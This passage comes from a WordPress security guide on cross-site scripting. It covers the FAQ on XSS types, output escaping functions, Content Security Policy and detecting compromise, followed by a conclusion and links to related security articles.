3. What is the difference between stored, reflected, and DOM-based XSS?
Stored XSS is saved in your database and runs for every visitor who loads the page, which makes it the most dangerous kind. Reflected XSS lives in a crafted link and runs only for the person who clicks it. DOM-based XSS runs entirely in the visitor browser, when page JavaScript writes an untrusted value into the page without sanitising it. Stored XSS accounted for 51.6 percent of XSS CVEs published in 2025, reflected for 21.0 percent, and DOM-based for 4.8 percent.
4. Which WordPress function should I use to escape output?
Use esc_html for text between HTML tags, esc_attr for values inside a quoted attribute, esc_url for links and image sources, esc_textarea for textarea content, esc_js for inline JavaScript, and wp_kses_post when some HTML must survive, such as formatted post text. Always escape at the moment of output, with the function that matches where the value will appear.
5. Do I need a Content Security Policy if I already escape my output?
Yes. Escaping is the primary defence, and a Content Security Policy is the safety net underneath it. Escaping fails when a developer misses one output, or when a plugin you did not write prints a value without escaping. A CSP stops the injected script from running even when it reaches the page. Deploy it in report-only mode first, fix the legitimate sources it flags, and then enforce it.
6. Can a security plugin alone prevent XSS?
No. A security plugin and a firewall block many attack attempts, and virtual patching can block exploitation of a known flaw before the developer ships a fix. But neither can fix a theme template that prints a value without escaping, and neither can add a nonce to a form that does not have one. The plugin is a layer, not a substitute. The escaping and nonce checks in this guide are the parts only code can fix.
7. How do I know if my site has already been hit by XSS?
Look for the signs: unexpected script tags or strange links in your posts, comments, or settings; new admin accounts you did not create; visitors reporting redirects or browser warnings; Google flagging the site; or a sudden spike in firewall blocks carrying script tags in a parameter. Search the database for script tags, run a full scan with your security plugin, and check the firewall logs. If you find an injection, follow the recovery order in the section above: contain, find the door, clean, reset passwords and sessions, re-scan.
Conclusion
XSS prevention is not a mystery and it is not a product you buy. It is a set of habits, and the most important one fits in a single sentence: treat every piece of untrusted text as text, never as code, at the moment it is printed. WordPress gives you the functions to do that, and this guide has shown you where each one belongs: sanitize_text_field and its siblings for input, esc_html, esc_attr, esc_url, esc_js, and wp_kses_post for output, nonces for forms, and a Content Security Policy as the net underneath it all. The rest is routine: update everything, audit the plugins, lock down the doors visitors walk through, restrict the roles, and watch the logs. Run the ten checks once, properly, and then put a quarterly reminder in your calendar to run them again. The attackers are not going to stop scanning. The five-hour median from disclosure to mass exploitation is not going to get longer. But a site that escapes its output, enforces a CSP, and knows what it runs is a hard target, and hard targets are the ones the scanners move past. Start with Check 1 today, and work down the list before the next disclosure, not after it.
Related Articles You Will Love
- WordPress Plugin Vulnerabilities: Audit, Remove, Replace — the monthly audit this checklist depends on: build a plugin inventory, check it against WPScan and Patchstack, and remove the risky ones.
- WordPress Security Plugin Checklist After PHP2Shell — the firewall and security plugin layer, including virtual patching for flaws with no fix yet.
- rel noopener Explained: HTML Security Attributes Guide — the security attributes that protect your links, including the tabnabbing flaw that rel=”noopener” closes.
- PHP2Shell Vulnerability: Affected PHP Versions and Fix — the 2026 PHP vulnerability that showed how fast a disclosure turns into mass exploitation, and which PHP versions are safe.
- WordPress PHP Version: How to Check and Update It Safely — the other half of keeping WordPress safe: running a supported PHP version, checked in four ways, updated without breaking the site.


No comment